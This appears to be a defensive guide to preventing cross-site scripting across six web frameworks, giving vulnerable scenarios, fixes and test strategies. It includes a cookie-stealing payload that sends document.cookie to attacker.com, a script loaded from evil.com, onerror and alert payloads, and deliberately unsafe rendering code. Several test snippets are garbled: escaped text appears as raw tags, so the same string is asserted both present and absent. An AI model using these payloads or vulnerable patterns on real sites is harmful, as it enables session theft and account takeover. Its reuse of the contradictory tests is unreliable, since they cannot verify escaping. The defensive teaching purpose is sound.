Overview
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious client-side scripts into web pages viewed by other users. Unlike SQLi, which targets the server’s database, XSS targets the user’s browser, executing scripts in their security context. This can be used to steal session cookies, impersonate users, deface websites, or launch phishing attacks.Business Impact
XSS compromises the trust users have in your application. It can lead to widespread account compromise, theft of sensitive user data, unauthorized transactions performed on behalf of the user, and significant reputational damage. It is one of the most prevalent and damaging vulnerabilities for user-facing applications.Reference Details
CWE ID: CWE-79
OWASP Top 10 (2021): A03:2021 - Injection
Severity: High
Framework-Specific Analysis and Remediation
Modern web frameworks provide strong default protection against XSS through automatic output encoding in their template engines. Vulnerabilities are almost always introduced when developers deliberately disable this protection or manually construct HTML without proper escaping.- Python
- Java
- .NET(C#)
- PHP
- Node.js
- Ruby
Framework Context
Django’s template engine automatically escapes all variable content by default, providing robust protection against XSS. Vulnerabilities occur when developers use the|safe filter or the mark_safe utility to intentionally render raw HTML from a variable containing user input.Vulnerable Scenario 1: User Profile Bio
A user can set a profile bio, which is then rendered on their public profile. A developer uses the|safe filter to allow “rich HTML” in bios.Copy
# profiles/models.py
class Profile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
bio = models.TextField()
# templates/profiles/detail.html
{# DANGEROUS: The 'safe' filter disables Django's auto-escaping. #}
{# An attacker can set their bio to: <script>document.location='[http://attacker.com/steal?cookie='+document.cookie](http://attacker.com/steal?cookie='+document.cookie)</script> #}
<div>
{{ profile.bio|safe }}
</div>
Vulnerable Scenario 2: Reflected Search Query
A search results page displays the user’s original query. To highlight the query, the developer constructs HTML manually.Copy
# search/views.py
from django.utils.safestring import mark_safe
def search_results(request):
query = request.GET.get('q', '')
# DANGEROUS: The query is marked as safe without being escaped first.
# This renders any HTML or script in the query parameter directly.
message = mark_safe(f"Showing results for: <strong>{query}</strong>")
return render(request, 'search/results.html', {'message': message})
Mitigation and Best Practices
Trust Django’s default auto-escaping. Never use|safe or mark_safe on data that originated from a user. If rich text formatting is required, use a library like django-bleach to sanitize the HTML, allowing only a safe subset of tags (like <b>, <i>) and stripping out dangerous ones (<script>, <iframe>).Secure Code Example
Copy
# Using django-bleach to allow safe HTML
import bleach
from django.utils.safestring import mark_safe
def save_profile(request):
# Define the allowed HTML tags and attributes
allowed_tags = ['b', 'i', 'em', 'strong', 'p']
# Sanitize the user input before saving to the database
cleaned_bio = bleach.clean(request.POST['bio'], tags=allowed_tags)
profile.bio = cleaned_bio
profile.save()
# In the template, it is now safe to use |safe
# templates/profiles/detail.html
<div>
{{ profile.bio|safe }}
</div>
Testing Strategy
Write integration tests that submit payloads containing script tags and other HTML into relevant form fields. Assert that when this data is rendered on a page, the HTML is properly escaped (e.g.,<script> becomes <script>) and is not rendered as active content.Copy
# profiles/tests.py
def test_profile_bio_xss(self):
xss_payload = "<script>alert('xss')</script>"
self.client.post(reverse('update-profile'), {'bio': xss_payload})
response = self.client.get(reverse('profile-detail', args=[self.user.id]))
self.assertEqual(response.status_code, 200)
# Check that the script tag is escaped, not rendered raw.
self.assertContains(response, "<script>alert('xss')</script>")
self.assertNotContains(response, "<script>alert('xss')</script>")
Framework Context
Template engines like Thymeleaf, which are commonly used with Spring Boot, provide automatic, context-aware escaping for HTML, attributes, and JavaScript. Vulnerabilities arise when developers bypass this protection, for example by usingth:utext (unescaped text) instead of th:text.Vulnerable Scenario 1: Displaying a User’s Comment
A comment from a user is displayed on a page. The developer usesth:utext to allow for what they believe is simple formatting.Copy
<div th:each="comment : ${comments}">
<p><strong>User:</strong> <span th:text="${comment.authorName}"></span></p>
<p th:utext="${comment.content}"></p>
</div>
Vulnerable Scenario 2: Building HTML in the Controller
A controller method builds an HTML string manually to be passed to the view, which is then rendered unsafely.Copy
// controller/SearchController.java
@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
// DANGEROUS: Manually creating an HTML string with user input.
String resultMessage = "<h3>Results for: " + query + "</h3>";
model.addAttribute("resultMessage", resultMessage);
return "search-results";
}
// templates/search-results.html
<div th:utext="${resultMessage}"></div>
Mitigation and Best Practices
Always use the standard, escaping-by-default methods in your template engine (e.g.,th:text in Thymeleaf). Avoid building HTML strings in your backend code. If rich text is a requirement, use a dedicated library like OWASP Java HTML Sanitizer to clean the user input based on an allow-list policy before storing it.Secure Code Example
Copy
<div th:each="comment : ${comments}">
<p><strong>User:</strong> <span th:text="${comment.authorName}"></span></p>
<p th:text="${comment.content}"></p>
</div>
Copy
// Sanitize user input before storing (if rich text is needed)
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizer;
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("b", "i", "p")
.toFactory();
String safeComment = policy.sanitize(userInputComment);
// Now it's safe to store `safeComment` and render it with th:utext
Testing Strategy
Use Spring’sMockMvc to perform a request to an endpoint that renders user-controlled data. Assert that the resulting HTML response contains the escaped version of the XSS payload, not the raw script tags.Copy
// src/test/java/com/example/PostControllerTest.java
@Test
void whenViewingPost_commentsShouldBeEscaped() throws Exception {
String xssPayload = "<script>window.location='evil.com'</script>";
// Assume a service call that returns a comment with the payload
mockMvc.perform(get("/posts/1"))
.andExpect(status().isOk())
.andExpect(content().string(containsString("<script>window.location='evil.com'</script>")));
}
Framework Context
The Razor engine in ASP.NET Core is secure by default. It automatically HTML-encodes any output from variables (@Model.UserInput). Vulnerabilities are introduced when developers explicitly bypass this using @Html.Raw() because they want to render HTML stored in the database.Vulnerable Scenario 1: Custom Welcome Message
A user can customize their dashboard welcome message, which is then displayed on login. The developer uses@Html.Raw() to allow for HTML formatting.Copy
// Pages/Dashboard.cshtml
@model DashboardModel
<h1>Dashboard</h1>
<div>
@* DANGEROUS: Html.Raw bypasses Razor's encoding. If WelcomeMessage contains *@
@* a script, it will execute for the logged-in user. *@
@Html.Raw(Model.WelcomeMessage)
</div>
Vulnerable Scenario 2: Rendering Content from a WYSIWYG Editor
An article’s content is created using a rich-text editor and stored as HTML. This content is then rendered directly on the page.Copy
// Models/Article.cs
public class Article {
public string Title { get; set; }
public string HtmlContent { get; set; }
}
// Pages/Article.cshtml
<div class="article-body">
@Html.Raw(Model.Article.HtmlContent)
</div>
Mitigation and Best Practices
Avoid@Html.Raw() with any data that originated from a user. If you need to render user-supplied rich text, use a robust HTML sanitization library like HtmlSanitizer. Configure a policy that allows only safe HTML tags and attributes and run all user content through it before saving it to the database.Secure Code Example
Copy
// In the controller or service layer when saving the article
using Ganss.Xss;
var sanitizer = new HtmlSanitizer();
// Configure the sanitizer to allow only specific tags like <b>, <i>, <p>
sanitizer.AllowedTags.Clear();
sanitizer.AllowedTags.Add("b");
sanitizer.AllowedTags.Add("i");
sanitizer.AllowedTags.Add("p");
var untrustedHtml = articleViewModel.HtmlContent;
var sanitizedHtml = sanitizer.Sanitize(untrustedHtml);
// Save the sanitizedHtml to the database
article.HtmlContent = sanitizedHtml;
_context.SaveChanges();
// Now it is safe to use @Html.Raw in the view
// Pages/Article.cshtml
<div class="article-body">
@Html.Raw(Model.Article.HtmlContent)
</div>
Testing Strategy
Write an integration test usingWebApplicationFactory. The test should create a user/article with a malicious script payload in its content, then request the page where it’s rendered. The test should assert that the response body does not contain the raw <script> tag.Copy
// Tests/ArticlePageTests.cs
[Fact]
public async Task ArticleContent_WithScriptTag_ShouldBeSanitized()
{
var client = _factory.CreateClient();
var xssPayload = "<script>alert(document.cookie)</script><p>safe content</p>";
// Code to create an article with the xssPayload...
var response = await client.GetAsync($"/articles/{article.Id}");
response.EnsureSuccessStatusCode();
var responseHtml = await response.Content.ReadAsStringAsync();
Assert.DoesNotContain("<script>", responseHtml);
Assert.Contains("<p>safe content</p>", responseHtml);
}
Framework Context
Laravel’s Blade template engine is secure by default, escaping all output rendered with{{ $variable }} syntax. The vulnerability is introduced when developers use the !! $variable !!} syntax, which explicitly tells Blade not to escape the data.Vulnerable Scenario 1: Displaying User-Generated Content
A user’s profile description is displayed on their page. The developer uses the unescaped syntax to allow HTML.Copy
// resources/views/profile/show.blade.php
<div class="profile-description">
{{-- DANGEROUS: The !! syntax outputs raw, unescaped HTML. --}}
{!! $user->profile->description !!}
</div>
Vulnerable Scenario 2: Error Message Display
A custom error message from a URL parameter is displayed to the user.Copy
// routes/web.php
Route::get('/error', function (Request $request) {
return view('error', ['message' => $request->input('msg')]);
});
// resources/views/error.blade.php
<div class="alert alert-danger">
{!! $message !!}
</div>
Mitigation and Best Practices
Always use the default{{ $variable }} syntax for rendering user-controlled content. This guarantees that any HTML will be safely escaped. If you must render user-supplied HTML, first sanitize it with a trusted library like HTML Purifier.Secure Code Example
Copy
// resources/views/profile/show.blade.php (Secure Version)
<div class="profile-description">
{{-- SAFE: The default double-brace syntax escapes all HTML. --}}
{{ $user->profile->description }}
</div>
Copy
// When saving the description, if HTML is needed
use Mews\Purifier\Facades\Purifier;
public function update(Request $request)
{
// This will strip out all malicious code (like <script>)
// but keep safe tags (like <b>, <p>) based on your config.
$cleaned_description = Purifier::clean($request->input('description'));
$request->user()->profile->update(['description' => $cleaned_description]);
}
// It is now safe to use {!! $user->profile->description !!} in the view
Testing Strategy
Use Laravel’s HTTP testing features to submit a form with an XSS payload. Then, make a request to the page where that data is displayed and useassertDontSee() to ensure the raw script is not present and assertSee() to check for its HTML-escaped equivalent.Copy
// tests/Feature/ProfileSecurityTest.php
public function test_user_description_prevents_xss()
{
$user = User::factory()->create();
$xssPayload = '<script>alert("xss")</script>';
$this->actingAs($user)
->post('/profile', ['description' => $xssPayload]);
$response = $this->get('/profile/' . $user->id);
$response->assertStatus(200);
$response->assertDontSee('<script>alert("xss")</script>');
$response->assertSee(e($xssPayload)); // e() is Laravel's escape helper
}
Framework Context
The security of an Express application depends heavily on the chosen template engine. Engines like Pug escape output by default, while others like EJS require careful use of different tags for escaped (<%= ... %>) versus unescaped (<%- ... %>) output.Vulnerable Scenario 1: Using Unescaped Output in EJS
A “message of the day” is fetched from a database (where it was submitted by a user) and rendered using the unescaped output tag.Copy
// views/index.ejs
<div class="motd">
<%- messageOfTheDay %>
</div>
Copy
// routes/index.js
app.get('/', (req, res) => {
// Assume message is fetched from DB and contains malicious script
const message = "Welcome! <script src='[http://evil.com/payload.js](http://evil.com/payload.js)'></script>";
res.render('index', { messageOfTheDay: message });
});
Vulnerable Scenario 2: Client-Side DOM XSS
The Express backend serves data via an API, and the frontend JavaScript unsafely injects it into the DOM.Copy
// Express API endpoint
app.get('/api/search', (req, res) => {
res.json({ resultsHtml: `Your search for "<b>${req.query.q}</b>" returned 0 results.` });
});
// Frontend JavaScript
fetch('/api/search?q=<img src=x onerror=alert(1)>')
.then(res => res.json())
.then(data => {
// DANGEROUS: innerHTML executes any scripts within the string.
document.getElementById('results').innerHTML = data.resultsHtml;
});
Mitigation and Best Practices
Always use the output-escaping syntax of your chosen template engine (e.g.,<%= ... %> in EJS). For client-side rendering, never use .innerHTML to inject data that contains user input. Instead, use .textContent to safely insert text, or use modern frontend frameworks (React, Vue, Angular) which auto-escape by default.Secure Code Example
Copy
// EJS Template (Secure Version)
<div class="motd">
<%= messageOfTheDay %>
</div>
Copy
// Frontend JavaScript (Secure Version)
fetch('/api/search?q=test')
.then(res => res.json())
.then(data => {
// SAFE: textContent inserts the string as plain text, not HTML.
document.getElementById('results').textContent = `Your search for "${data.query}" returned 0 results.`;
});
Testing Strategy
Use Jest and Supertest to test server-side rendering. Request a page with a script payload in the query parameter and check that the HTML response contains the escaped version. For DOM XSS, use a testing library like Jest with JSDOM to simulate the browser environment and assert that setting.innerHTML vs .textContent produces the expected (safe) result.Copy
// tests/rendering.test.js
it('should escape HTML in EJS templates', async () => {
// This requires setting up a test that renders the EJS view
// The assertion would check if the final HTML contains '<script>'
});
// tests/dom.test.js
describe('DOM Manipulation', () => {
it('should safely set text content', () => {
document.body.innerHTML = `<div id="results"></div>`;
const div = document.getElementById('results');
const payload = "<img src=x onerror=alert('oops')>";
div.textContent = payload;
// The innerHTML should contain the escaped version of the payload.
expect(div.innerHTML).toBe("<img src=x onerror=alert('oops')>");
});
});
Framework Context
Rails ERB templates provide automatic HTML escaping for all content rendered with the standard<%= ... %> tag. The primary way to introduce an XSS vulnerability is to explicitly bypass this protection using the raw() helper or the .html_safe method on a string.Vulnerable Scenario 1: Using raw for a Flash Message
A flash message is constructed with user input and then rendered with raw to allow for HTML tags like <strong>.Copy
# app/controllers/sessions_controller.rb
def create
user = User.find_by(email: params[:email])
if user
# ... login logic ...
flash[:success] = "Welcome back, <strong>#{user.name}</strong>!"
redirect_to root_path
else
# ...
end
end
# app/views/layouts/application.html.erb
<% flash.each do |type, msg| %>
<%# DANGEROUS: if user.name contains a script, `raw` will execute it %>
<div class="alert alert-<%= type %>"><%= raw(msg) %></div>
<% end %>
Vulnerable Scenario 2: .html_safe on a Helper Method
A helper method is created to format a user’s bio, but it incorrectly marks the entire string as safe.Copy
# app/helpers/users_helper.rb
module UsersHelper
def format_bio(user)
# DANGEROUS: The user's bio is concatenated and then the entire string
# is marked as safe, bypassing escaping for the bio content.
"<em>Bio for #{user.name}:</em> #{user.bio}".html_safe
end
end
# app/views/users/show.html.erb
<%= format_bio(@user) %>
Mitigation and Best Practices
Avoidraw and .html_safe on any string that contains data originating from a user. If you need to build HTML fragments, use helpers like content_tag that safely handle content. For user-supplied rich text, use a sanitizer like Rails-HTML-Sanitizer (which is built into Rails).Secure Code Example
Copy
# app/controllers/sessions_controller.rb (Secure Version)
def create
# ...
# SAFE: Let the view handle the HTML structure. Pass raw data.
flash[:success_name] = user.name
# ...
end
# app/views/layouts/application.html.erb (Secure Version)
<% if flash[:success_name] %>
<div class="alert alert-success">
Welcome back, <strong><%= flash[:success_name] %></strong>!
</div>
<% end %>
Copy
# app/helpers/users_helper.rb (Secure Version)
module UsersHelper
def format_bio(user)
# SAFE: Use content_tag, which escapes its content argument by default.
content_tag(:em, "Bio for #{user.name}:") + " " + content_tag(:p, user.bio)
end
end
Testing Strategy
Use RSpec’s request specs to simulate a user submitting data with a script payload. Then, visit the page where this data is rendered and inspect the response body. Assert that the body does not contain the raw script but does contain its HTML-escaped version.Copy
# spec/requests/profile_display_spec.rb
require 'rails_helper'
RSpec.describe "Profile display", type: :request do
it "escapes malicious HTML in user bios" do
user = User.create!(name: "test", bio: "<script>console.log('pwned')</script>")
get user_path(user)
expect(response.body).not_to include("<script>console.log('pwned')</script>")
expect(response.body).to include("<script>console.log('pwned')</script>")
end
end

